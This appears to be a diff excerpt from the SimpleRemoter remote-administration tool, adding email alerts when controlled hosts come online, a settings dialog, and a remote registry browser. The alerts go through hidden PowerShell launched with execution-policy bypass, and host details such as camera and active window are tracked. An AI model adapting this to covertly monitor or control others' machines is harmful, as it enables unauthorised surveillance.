ss << "Match Rule: " << GetColumnName(columnIndex)
<< " contains \"" << matchedKeyword << "\"<br><br>";
ss << "<b>Host Information:</b><br>";
ss << "&nbsp;&nbsp;IP Address: " << ip << "<br>";
ss << "&nbsp;&nbsp;Location: " << location << "<br>";
ss << "&nbsp;&nbsp;Computer Name: " << computerName << "<br>";
ss << "&nbsp;&nbsp;OS: " << os << "<br>";
ss << "&nbsp;&nbsp;Version: " << version << "<br>";
ss << "<br>--<br><i>This email was sent automatically by SimpleRemoter</i>";
outBody = ss.str();
}
void NotifyManager::SendNotifyEmailAsync(const std::string& subject, const std::string& body)
{
if (!m_powerShellAvailable) return;
// Copy SMTP config under lock
SmtpConfig smtp;
{
std::lock_guard<std::mutex> lock(m_mutex);
if (!m_config.smtp.IsValid()) return;
smtp = m_config.smtp;
}
std::string subjectCopy = subject;
std::string bodyCopy = body;
std::thread([this, smtp, subjectCopy, bodyCopy]() {
// Build PowerShell command
std::ostringstream ps;
ps << "powershell -NoProfile -ExecutionPolicy Bypass -Command \"";
ps << "$pass = ConvertTo-SecureString '" << EscapePowerShell(smtp.password) << "' -AsPlainText -Force; ";
ps << "$cred = New-Object PSCredential('" << EscapePowerShell(smtp.username) << "', $pass); ";
ps << "Send-MailMessage ";
ps << "-From '" << EscapePowerShell(smtp.username) << "' ";
ps << "-To '" << EscapePowerShell(smtp.GetRecipient()) << "' ";
ps << "-Subject '" << EscapePowerShell(subjectCopy) << "' ";
ps << "-Body '" << EscapePowerShell(bodyCopy) << "' ";
ps << "-SmtpServer '" << EscapePowerShell(smtp.server) << "' ";
ps << "-Port " << smtp.port << " ";
if (smtp.useSSL) {
ps << "-UseSsl ";
}
ps << "-Credential $cred ";
ps << "-Encoding UTF8 -BodyAsHtml\"";
DWORD exitCode;
ExecutePowerShell(ps.str(), &exitCode, true);
}).detach();
}
std::string NotifyManager::SendTestEmail()
{
if (!m_powerShellAvailable) {
return "PowerShell is not available. Requires Windows 10 or later.";
}
// Copy SMTP config under lock
SmtpConfig smtp;
{
std::lock_guard<std::mutex> lock(m_mutex);
if (!m_config.smtp.IsValid()) {
return "SMTP configuration is incomplete.";
}
smtp = m_config.smtp;
}
std::string subject = "[SimpleRemoter] Test Email";
std::string body = "This is a test email from SimpleRemoter notification system.<br><br>If you received this email, the configuration is correct.";
// Build PowerShell command - output error to temp file for capture
char tempPath[MAX_PATH], tempFile[MAX_PATH];
GetTempPathA(MAX_PATH, tempPath);
GetTempFileNameA(tempPath, "notify", 0, tempFile);
std::ostringstream ps;
ps << "powershell -NoProfile -ExecutionPolicy Bypass -Command \"";
ps << "$ErrorActionPreference = 'Stop'; ";
ps << "try { ";
ps << "$pass = ConvertTo-SecureString '" << EscapePowerShell(smtp.password) << "' -AsPlainText -Force; ";
ps << "$cred = New-Object PSCredential('" << EscapePowerShell(smtp.username) << "', $pass); ";
ps << "Send-MailMessage ";
ps << "-From '" << EscapePowerShell(smtp.username) << "' ";
ps << "-To '" << EscapePowerShell(smtp.GetRecipient()) << "' ";
ps << "-Subject '" << EscapePowerShell(subject) << "' ";
ps << "-Body '" << EscapePowerShell(body) << "' ";
ps << "-SmtpServer '" << EscapePowerShell(smtp.server) << "' ";
ps << "-Port " << smtp.port << " ";
if (smtp.useSSL) {
ps << "-UseSsl ";
}
ps << "-Credential $cred ";
ps << "-Encoding UTF8 -BodyAsHtml; ";
ps << "'SUCCESS' | Out-File -FilePath '" << tempFile << "' -Encoding UTF8 ";
ps << "} catch { $_.Exception.Message | Out-File -FilePath '" << tempFile << "' -Encoding UTF8; exit 1 }\"";
DWORD exitCode = 1;
ExecutePowerShell(ps.str(), &exitCode, true);
// Read result from temp file (skip UTF-8 BOM if present)
std::string result;
std::ifstream ifs(tempFile, std::ios::binary);
if (ifs.is_open()) {
std::getline(ifs, result);
// Skip UTF-8 BOM (EF BB BF) or UTF-16 LE BOM (FF FE)
if (result.size() >= 3 && (unsigned char)result[0] == 0xEF &&
(unsigned char)result[1] == 0xBB && (unsigned char)result[2] == 0xBF) {
result = result.substr(3);
} else if (result.size() >= 2 && (unsigned char)result[0] == 0xFF &&
(unsigned char)result[1] == 0xFE) {
// UTF-16 LE - convert to ASCII (simple case)
std::string converted;
for (size_t i = 2; i < result.size(); i += 2) {
if (result[i] != 0) converted += result[i];
}
result = converted;
}
ifs.close();
}
DeleteFileA(tempFile);
if (exitCode == 0 && result.find("SUCCESS") != std::string::npos) {
return "success";
} else {
// Log detailed error for debugging
if (result.empty()) {
TRACE("[Notify] SendTestEmail failed, exit code: %d\n", exitCode);
} else {
TRACE("[Notify] SendTestEmail failed: %s\n", result.c_str());
}
return "failed";
}
}
bool NotifyManager::ExecutePowerShell(const std::string& command, DWORD* exitCode, bool hidden)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (hidden) {
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
}
// Create command buffer (must be modifiable for CreateProcessA)
std::vector<char> cmdBuffer(command.begin(), command.end());
cmdBuffer.push_back('\0');
BOOL result = CreateProcessA(
NULL,
cmdBuffer.data(),
NULL, NULL,
FALSE,
hidden ? CREATE_NO_WINDOW : 0,
NULL, NULL,
&si, &pi
);
if (!result) {
if (exitCode) *exitCode = GetLastError();
return false;
}
// Wait for process to complete (with timeout for test email)
WaitForSingleObject(pi.hProcess, 30000); // 30 second timeout
if (exitCode) {
GetExitCodeProcess(pi.hProcess, exitCode);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return true;
}
std::string NotifyManager::EscapePowerShell(const std::string& str)
{
std::string result;
result.reserve(str.size() * 2);
for (char c : str) {
if (c == '\'') {
result += "''"; // Escape single quote by doubling
} else if (c == '\n') {
result += "`n"; // PowerShell newline escape
} else if (c == '\r') {
result += "`r";
} else {
result += c;
}
}
return result;
}
std::string NotifyManager::EncryptPassword(const std::string& password)
{
// Simple XOR obfuscation (not secure, just prevents casual reading)
const char key[] = "YamaNotify2026";
std::string result;
result.reserve(password.size() * 2);
for (size_t i = 0; i < password.size(); i++) {
char c = password[i] ^ key[i % (sizeof(key) - 1)];
char hex[3];
sprintf_s(hex, "%02X", (unsigned char)c);
result += hex;
}
return result;
}
std::string NotifyManager::DecryptPassword(const std::string& encrypted)
{
if (encrypted.empty() || encrypted.size() % 2 != 0) {
return "";
}
const char key[] = "YamaNotify2026";
std::string result;
result.reserve(encrypted.size() / 2);
for (size_t i = 0; i < encrypted.size(); i += 2) {
char hex[3] = { encrypted[i], encrypted[i + 1], 0 };
char c = (char)strtol(hex, nullptr, 16);
c ^= key[(i / 2) % (sizeof(key) - 1)];
result += c;
}
return result;
}
std::vector<std::string> NotifyManager::SplitString(const std::string& str, char delimiter)
{
std::vector<std::string> tokens;
std::istringstream stream(str);
std::string token;
while (std::getline(stream, token, delimiter)) {
tokens.push_back(token);
}
return tokens;
}
std::string NotifyManager::Trim(const std::string& str)
{
size_t start = str.find_first_not_of(" \t\r\n");
if (start == std::string::npos) return "";
size_t end = str.find_last_not_of(" \t\r\n");
return str.substr(start, end - start + 1);
}

View File

@@ -0,0 +1,82 @@
#pragma once
#include "NotifyConfig.h"
#include <functional>
#include <mutex>
// Forward declaration
class context;
class NotifyManager {
public:
static NotifyManager& Instance();
// Initialize the manager (call once at startup)
void Initialize();
// Check if PowerShell is available for sending emails
bool IsPowerShellAvailable() const { return m_powerShellAvailable; }
// Get/Set configuration (thread-safe copy)
NotifyConfig GetConfig();
void SetConfig(const NotifyConfig& config);
// Load/Save configuration
void LoadConfig();
void SaveConfig();
// Check if notification should be sent for this host
// If yes, outMatchedKeyword will contain the matched keyword
// remark: optional host remark (used for COMPUTER_NAME column if not empty)
bool ShouldNotify(context* ctx, std::string& outMatchedKeyword, const CString& remark = _T(""));
// Send notification email asynchronously
// subject and body should be UTF-8 encoded
void SendNotifyEmailAsync(const std::string& subject, const std::string& body);
// Send a test email (synchronous, returns success/error message)
std::string SendTestEmail();
// Build notification email content for host online event
void BuildHostOnlineEmail(context* ctx, const std::string& matchedKeyword,
std::string& outSubject, std::string& outBody);
private:
NotifyManager();
~NotifyManager() = default;
NotifyManager(const NotifyManager&) = delete;
NotifyManager& operator=(const NotifyManager&) = delete;
// Detect if PowerShell Send-MailMessage is available
bool DetectPowerShellSupport();
// Get config file path
std::string GetConfigPath() const;
// Simple XOR encryption for password (not secure, just obfuscation)
std::string EncryptPassword(const std::string& password);
std::string DecryptPassword(const std::string& encrypted);
// Escape special characters for PowerShell string
std::string EscapePowerShell(const std::string& str);
// Execute PowerShell command and get exit code
bool ExecutePowerShell(const std::string& command, DWORD* exitCode = nullptr, bool hidden = true);
// Split string by delimiter
std::vector<std::string> SplitString(const std::string& str, char delimiter);
// Trim whitespace from string
std::string Trim(const std::string& str);
private:
bool m_initialized;
bool m_powerShellAvailable;
NotifyConfig m_config;
mutable std::mutex m_mutex; // Protects m_config access
};
// Convenience function
inline NotifyManager& GetNotifyManager() {
return NotifyManager::Instance();
}

View File

@@ -0,0 +1,268 @@
#include "stdafx.h"
#include "NotifySettingsDlg.h"
#include "NotifyManager.h"
#include "context.h"
NotifySettingsDlg::NotifySettingsDlg(CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_NOTIFY_SETTINGS, pParent)
, m_powerShellAvailable(false)
{
}
NotifySettingsDlg::~NotifySettingsDlg()
{
}
void NotifySettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_SMTP_SERVER, m_editSmtpServer);
DDX_Control(pDX, IDC_EDIT_SMTP_PORT, m_editSmtpPort);
DDX_Control(pDX, IDC_CHECK_SMTP_SSL, m_checkSmtpSSL);
DDX_Control(pDX, IDC_EDIT_SMTP_USER, m_editSmtpUser);
DDX_Control(pDX, IDC_EDIT_SMTP_PASS, m_editSmtpPass);
DDX_Control(pDX, IDC_EDIT_SMTP_RECIPIENT, m_editSmtpRecipient);
DDX_Control(pDX, IDC_CHECK_NOTIFY_ENABLED, m_checkNotifyEnabled);
DDX_Control(pDX, IDC_COMBO_NOTIFY_TYPE, m_comboNotifyType);
DDX_Control(pDX, IDC_COMBO_NOTIFY_COLUMN, m_comboNotifyColumn);
DDX_Control(pDX, IDC_EDIT_NOTIFY_PATTERN, m_editNotifyPattern);
DDX_Control(pDX, IDC_STATIC_NOTIFY_WARNING, m_staticWarning);
}
BEGIN_MESSAGE_MAP(NotifySettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_TEST_EMAIL, &NotifySettingsDlg::OnBnClickedBtnTestEmail)
ON_BN_CLICKED(IDC_CHECK_NOTIFY_ENABLED, &NotifySettingsDlg::OnBnClickedCheckNotifyEnabled)
END_MESSAGE_MAP()
BOOL NotifySettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// Set translatable text for static controls
SetDlgItemText(IDC_GROUP_SMTP, _TR(_T("SMTP 配置")));
SetDlgItemText(IDC_STATIC_SMTP_SERVER, _TR(_T("服务器:")));
SetDlgItemText(IDC_STATIC_SMTP_PORT, _TR(_T("端口:")));
SetDlgItemText(IDC_CHECK_SMTP_SSL, _TR(_T("使用 SSL/TLS")));
SetDlgItemText(IDC_STATIC_SMTP_USER, _TR(_T("用户名:")));
SetDlgItemText(IDC_STATIC_SMTP_PASS, _TR(_T("密码:")));
SetDlgItemText(IDC_STATIC_SMTP_HINT, _TR(_T("(Gmail 需使用应用专用密码)")));
SetDlgItemText(IDC_STATIC_SMTP_RECIPIENT, _TR(_T("收件人:")));
SetDlgItemText(IDC_BTN_TEST_EMAIL, _TR(_T("测试")));
SetDlgItemText(IDC_GROUP_NOTIFY_RULE, _TR(_T("通知规则")));
SetDlgItemText(IDC_CHECK_NOTIFY_ENABLED, _TR(_T("启用通知")));
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)")));
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetWindowText(_TR("通知设置"));
// Check PowerShell availability
m_powerShellAvailable = GetNotifyManager().IsPowerShellAvailable();
// Show warning if PowerShell is not available
if (!m_powerShellAvailable) {
m_staticWarning.SetWindowText(_T("Warning: Requires Windows 10 or later with PowerShell 5.1+"));
// Disable all controls except OK/Cancel
GetDlgItem(IDC_EDIT_SMTP_SERVER)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_SMTP_PORT)->EnableWindow(FALSE);
GetDlgItem(IDC_CHECK_SMTP_SSL)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_SMTP_USER)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_SMTP_PASS)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_SMTP_RECIPIENT)->EnableWindow(FALSE);
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(FALSE);
GetDlgItem(IDC_CHECK_NOTIFY_ENABLED)->EnableWindow(FALSE);
GetDlgItem(IDC_COMBO_NOTIFY_TYPE)->EnableWindow(FALSE);
GetDlgItem(IDC_COMBO_NOTIFY_COLUMN)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_NOTIFY_PATTERN)->EnableWindow(FALSE);
} else {
m_staticWarning.SetWindowText(_T(""));
}
PopulateComboBoxes();
LoadSettings();
UpdateControlStates();
return TRUE;
}
void NotifySettingsDlg::PopulateComboBoxes()
{
// Trigger type combo (currently only "Host Online")
m_comboNotifyType.ResetContent();
m_comboNotifyType.AddString(_TR("主机上线"));
m_comboNotifyType.SetItemData(0, NOTIFY_TRIGGER_HOST_ONLINE);
m_comboNotifyType.SetCurSel(0);
// Column combo - use translatable strings
m_comboNotifyColumn.ResetContent();
struct { int id; const TCHAR* name; } columns[] = {
{ 0, _T("IP地址") },
{ 1, _T("地址") },
{ 2, _T("地理位置") },
{ 3, _T("计算机名") },
{ 4, _T("操作系统") },
{ 5, _T("CPU") },
{ 6, _T("摄像头") },
{ 7, _T("延迟") },
{ 8, _T("版本") },
{ 9, _T("安装时间") },
{ 10, _T("活动窗口") },
{ 11, _T("客户端类型") },
};
for (const auto& col : columns) {
CString item;
item.Format(_T("%d - %s"), col.id, _TR(col.name));
m_comboNotifyColumn.AddString(item);
m_comboNotifyColumn.SetItemData(m_comboNotifyColumn.GetCount() - 1, col.id);
}
m_comboNotifyColumn.SetCurSel(ONLINELIST_COMPUTER_NAME); // Default to computer name
}
void NotifySettingsDlg::LoadSettings()
{
// Get current config from manager
m_config = GetNotifyManager().GetConfig();
// SMTP settings
m_editSmtpServer.SetWindowText(CString(m_config.smtp.server.c_str()));
CString portStr;
portStr.Format(_T("%d"), m_config.smtp.port);
m_editSmtpPort.SetWindowText(portStr);
m_checkSmtpSSL.SetCheck(m_config.smtp.useSSL ? BST_CHECKED : BST_UNCHECKED);
m_editSmtpUser.SetWindowText(CString(m_config.smtp.username.c_str()));
m_editSmtpPass.SetWindowText(CString(m_config.smtp.password.c_str()));
m_editSmtpRecipient.SetWindowText(CString(m_config.smtp.recipient.c_str()));
// Rule settings
const NotifyRule& rule = m_config.GetRule();
m_checkNotifyEnabled.SetCheck(rule.enabled ? BST_CHECKED : BST_UNCHECKED);
// Set trigger type (currently only one option)
m_comboNotifyType.SetCurSel(0);
// Set column
if (rule.columnIndex >= 0 && rule.columnIndex < m_comboNotifyColumn.GetCount()) {
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
}
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
}
void NotifySettingsDlg::SaveSettings()
{
CString str;
// SMTP settings
m_editSmtpServer.GetWindowText(str);
m_config.smtp.server = CT2A(str, CP_UTF8);
m_editSmtpPort.GetWindowText(str);
m_config.smtp.port = _ttoi(str);
m_config.smtp.useSSL = (m_checkSmtpSSL.GetCheck() == BST_CHECKED);
m_editSmtpUser.GetWindowText(str);
m_config.smtp.username = CT2A(str, CP_UTF8);
m_editSmtpPass.GetWindowText(str);
m_config.smtp.password = CT2A(str, CP_UTF8);
m_editSmtpRecipient.GetWindowText(str);
m_config.smtp.recipient = CT2A(str, CP_UTF8);
// Rule settings
NotifyRule& rule = m_config.GetRule();
rule.enabled = (m_checkNotifyEnabled.GetCheck() == BST_CHECKED);
int sel = m_comboNotifyType.GetCurSel();
rule.triggerType = (sel >= 0) ? (NotifyTriggerType)m_comboNotifyType.GetItemData(sel) : NOTIFY_TRIGGER_HOST_ONLINE;
sel = m_comboNotifyColumn.GetCurSel();
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
m_editNotifyPattern.GetWindowText(str);
rule.matchPattern = CT2A(str, CP_UTF8);
// Update manager config and save
GetNotifyManager().SetConfig(m_config);
GetNotifyManager().SaveConfig();
}
void NotifySettingsDlg::UpdateControlStates()
{
if (!m_powerShellAvailable) return;
BOOL enabled = (m_checkNotifyEnabled.GetCheck() == BST_CHECKED);
m_comboNotifyType.EnableWindow(enabled);
m_comboNotifyColumn.EnableWindow(enabled);
m_editNotifyPattern.EnableWindow(enabled);
}
void NotifySettingsDlg::OnOK()
{
SaveSettings();
CDialogLangEx::OnOK();
}
void NotifySettingsDlg::OnBnClickedBtnTestEmail()
{
// Temporarily save current UI values to config for testing
CString str;
m_editSmtpServer.GetWindowText(str);
m_config.smtp.server = CT2A(str, CP_UTF8);
m_editSmtpPort.GetWindowText(str);
m_config.smtp.port = _ttoi(str);
m_config.smtp.useSSL = (m_checkSmtpSSL.GetCheck() == BST_CHECKED);
m_editSmtpUser.GetWindowText(str);
m_config.smtp.username = CT2A(str, CP_UTF8);
m_editSmtpPass.GetWindowText(str);
m_config.smtp.password = CT2A(str, CP_UTF8);
m_editSmtpRecipient.GetWindowText(str);
m_config.smtp.recipient = CT2A(str, CP_UTF8);
// Update manager config temporarily
NotifyConfig backup = GetNotifyManager().GetConfig();
NotifyConfig tempConfig = backup;
tempConfig.smtp = m_config.smtp;
GetNotifyManager().SetConfig(tempConfig);
// Disable button during test
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(FALSE);
SetCursor(LoadCursor(NULL, IDC_WAIT));
// Send test email (synchronous)
std::string result = GetNotifyManager().SendTestEmail();
// Restore config
GetNotifyManager().SetConfig(backup);
// Re-enable button
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(TRUE);
SetCursor(LoadCursor(NULL, IDC_ARROW));
// Show result
if (result == "success") {
MessageBox(_TR(_T("测试邮件发送成功!")), _TR(_T("测试邮件")), MB_OK | MB_ICONINFORMATION);
} else {
MessageBox(_TR(_T("测试邮件发送失败请检查SMTP配置")), _TR(_T("测试邮件")), MB_OK | MB_ICONWARNING);
}
}
void NotifySettingsDlg::OnBnClickedCheckNotifyEnabled()
{
UpdateControlStates();
}

View File

@@ -0,0 +1,52 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "NotifyConfig.h"
class NotifySettingsDlg : public CDialogLangEx
{
public:
NotifySettingsDlg(CWnd* pParent = nullptr);
virtual ~NotifySettingsDlg();
enum { IDD = IDD_DIALOG_NOTIFY_SETTINGS };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnTestEmail();
afx_msg void OnBnClickedCheckNotifyEnabled();
private:
void LoadSettings();
void SaveSettings();
void UpdateControlStates();
void PopulateComboBoxes();
private:
// SMTP controls
CEdit m_editSmtpServer;
CEdit m_editSmtpPort;
CButton m_checkSmtpSSL;
CEdit m_editSmtpUser;
CEdit m_editSmtpPass;
CEdit m_editSmtpRecipient;
// Rule controls
CButton m_checkNotifyEnabled;
CComboBox m_comboNotifyType;
CComboBox m_comboNotifyColumn;
CEdit m_editNotifyPattern;
// Warning label
CStatic m_staticWarning;
// Configuration copy
NotifyConfig m_config;
bool m_powerShellAvailable;
};

View File

@@ -0,0 +1,310 @@
// RegisterDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "RegisterDlg.h"
#include "afxdialogex.h"
enum MYKEY {
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
// CRegisterDlg 对话框
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
{
m_bIsClosed = FALSE;
m_bIsWorking = FALSE;
}
CRegisterDlg::~CRegisterDlg()
{
Mprintf("~CRegisterDlg \n");
}
void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TREE, m_Tree);
DDX_Control(pDX, IDC_LIST, m_ControlList);
}
BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog)
ON_WM_CLOSE()
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegisterDlg::OnTvnSelchangedTree)
END_MESSAGE_MAP()
// CRegisterDlg 消息处理程序
BOOL CRegisterDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
// TODO: 在此添加额外的初始化
CString str;
str.FormatL("%s - 注册表管理", m_IPAddress);
SetWindowText(str);
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //制作 树控件上的图标
auto hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0);
m_ImageListTree.Add(hIcon);
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0);
m_ImageListTree.Add(hIcon);
m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL);
m_hRoot = m_Tree.InsertItem(_TR("注册表管理"),0,0,0,0); //0
HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1
HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
HKCC = m_Tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
HKCR = m_Tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
m_Tree.Expand(m_hRoot,TVE_EXPAND);
m_ControlList.InsertColumnL(0,"名称",LVCFMT_LEFT,150,-1);
m_ControlList.InsertColumnL(1,"类型",LVCFMT_LEFT,60,-1);
m_ControlList.InsertColumnL(2,"数据",LVCFMT_LEFT,300,-1);
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//////添加图标//////
m_ImageListControlList.Create(16,16,TRUE,2,2);
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_STRING));
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_DWORD));
m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL);
m_isEnable = TRUE; //该值是为了解决频繁 向被控端请求
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CRegisterDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}
void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
if(!m_isEnable) {
return;
}
m_isEnable=FALSE;;
TVITEM Item = pNMTreeView->itemNew;
if(Item.hItem == m_hRoot) {
m_isEnable=TRUE;;
return;
}
m_hSelectedItem=Item.hItem; //保存用户打开的子树节点句柄 //0 1 2 2 3
m_ControlList.DeleteAllItems();
CString strFullPath=GetFullPath(m_hSelectedItem); //获得键值路径
char bToken=GetFatherPath(strFullPath); //[2] \1\2\3
//愈加一个键
int nitem=m_ControlList.InsertItem(0,_TR("(默认)"),0);
m_ControlList.SetItemText(nitem,1,"REG_SZ");
m_ControlList.SetItemText(nitem,2,_TR("(数据未设置值)"));
strFullPath.Insert(0,bToken);//插入 那个根键
bToken=COMMAND_REG_FIND;
strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x]
m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
m_isEnable = TRUE;
*pResult = 0;
}
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
{
CString strTemp;
CString strReturn = "";
while(1) {
if(hCurrent==m_hRoot) {
return strReturn;
}
strTemp = m_Tree.GetItemText(hCurrent);
if(strTemp.Right(1) != "\\")
strTemp += "\\";
strReturn = strTemp + strReturn;
hCurrent = m_Tree.GetParentItem(hCurrent); //得到父的
}
return strReturn;
}
char CRegisterDlg::GetFatherPath(CString& strFullPath)
{
char bToken;
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //判断主键
bToken=MHKEY_CLASSES_ROOT;
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
} else if(!strFullPath.Find("HKEY_CURRENT_USER")) {
bToken=MHKEY_CURRENT_USER;
strFullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
} else if(!strFullPath.Find("HKEY_LOCAL_MACHINE")) {
bToken=MHKEY_LOCAL_MACHINE;
strFullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
} else if(!strFullPath.Find("HKEY_USERS")) {
bToken=MHKEY_USERS;
strFullPath.Delete(0,sizeof("HKEY_USERS"));
} else if(!strFullPath.Find("HKEY_CURRENT_CONFIG")) {
bToken=MHKEY_CURRENT_CONFIG;
strFullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
}
return bToken;
}
void CRegisterDlg::OnReceiveComplete(void)
{
m_bIsWorking = TRUE;
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_REG_PATH: {
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
AddPath(tmp.c_str());
break;
}
case TOKEN_REG_KEY: {
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
AddKey(tmp.c_str());
break;
}
default:
// 传输发生异常数据
break;
}
m_bIsWorking = FALSE;
}
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
void CRegisterDlg::AddPath(char* szBuffer)
{
if(szBuffer==NULL) return;
// 先删除该节点下的所有现有子项,避免重复添加
HTREEITEM hChild = m_Tree.GetChildItem(m_hSelectedItem);
while (hChild != NULL) {
HTREEITEM hNext = m_Tree.GetNextSiblingItem(hChild);
m_Tree.DeleteItem(hChild);
hChild = hNext;
}
int msgsize=sizeof(REGMSG);
REGMSG msg;
memcpy((void*)&msg,szBuffer,msgsize);
DWORD size =msg.size;
int count=msg.count;
if(size>0&&count>0) { //一点保护措施
for(int i=0; i<count; ++i) {
if (m_bIsClosed)
break;
char* szKeyName=szBuffer+size*i+msgsize;
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//插入子键名称
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
}
}
}
void CRegisterDlg::AddKey(char* szBuffer)
{
m_ControlList.DeleteAllItems();
int iItem=m_ControlList.InsertItem(0,"(Data)",0);
m_ControlList.SetItemText(iItem,1,"REG_SZ");
m_ControlList.SetItemText(iItem,2,"(NULL)");
if(szBuffer==NULL) return;
REGMSG msg;
memcpy((void*)&msg,szBuffer,sizeof(msg));
char* szTemp=szBuffer+sizeof(msg);
for(int i=0; i<msg.count; ++i) {
if (m_bIsClosed)
break;
BYTE Type=szTemp[0]; //类型
szTemp+=sizeof(BYTE);
char* szValueName=szTemp; //取出名字
szTemp+=msg.size;
BYTE* szValueData=(BYTE*)szTemp; //取出值
szTemp+=msg.valsize;
if(Type==MREG_SZ) {
int iItem=m_ControlList.InsertItem(0,szValueName,0);
m_ControlList.SetItemText(iItem,1,"REG_SZ");
m_ControlList.SetItemText(iItem,2,(char*)szValueData);
}
if(Type==MREG_DWORD) {
// 对注册表 REG_DWORD 类型的处理
char ValueData[256] = {0};
INT_PTR d=(INT_PTR)szValueData;
memcpy((void*)&d,szValueData,sizeof(INT_PTR));
CString strValue;
strValue.FormatL("0x%x",d);
sprintf(ValueData," (%d)",d);
strValue+=" ";
strValue+=ValueData;
int iItem=m_ControlList.InsertItem(0,szValueName,1);
m_ControlList.SetItemText(iItem,1,"REG_DWORD");
m_ControlList.SetItemText(iItem,2,strValue);
}
if(Type==MREG_BINARY) {
// 对注册表 REG_BINARY 类型的处理
char *ValueData = new char[msg.valsize+1];
sprintf(ValueData,"%s",szValueData);
int iItem=m_ControlList.InsertItem(0,szValueName,1);
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
m_ControlList.SetItemText(iItem,2,ValueData);
SAFE_DELETE_AR(ValueData);
}
if(Type==MREG_EXPAND_SZ) {
int iItem=m_ControlList.InsertItem(0,szValueName,0);
